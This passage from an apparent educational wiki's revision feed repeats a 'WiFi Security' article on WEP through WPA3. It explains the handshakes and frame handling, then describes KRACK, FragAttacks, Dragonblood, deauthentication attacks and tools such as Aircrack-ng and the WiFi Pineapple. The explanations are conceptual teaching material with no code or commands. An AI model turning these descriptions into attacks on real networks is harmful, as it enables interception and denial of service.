This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16751</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16751"/>
		<updated>2024-12-05T19:57:47Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16750</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16750"/>
		<updated>2024-12-05T19:57:01Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WEP */&lt;/p&gt;
&lt;hr /&gt;
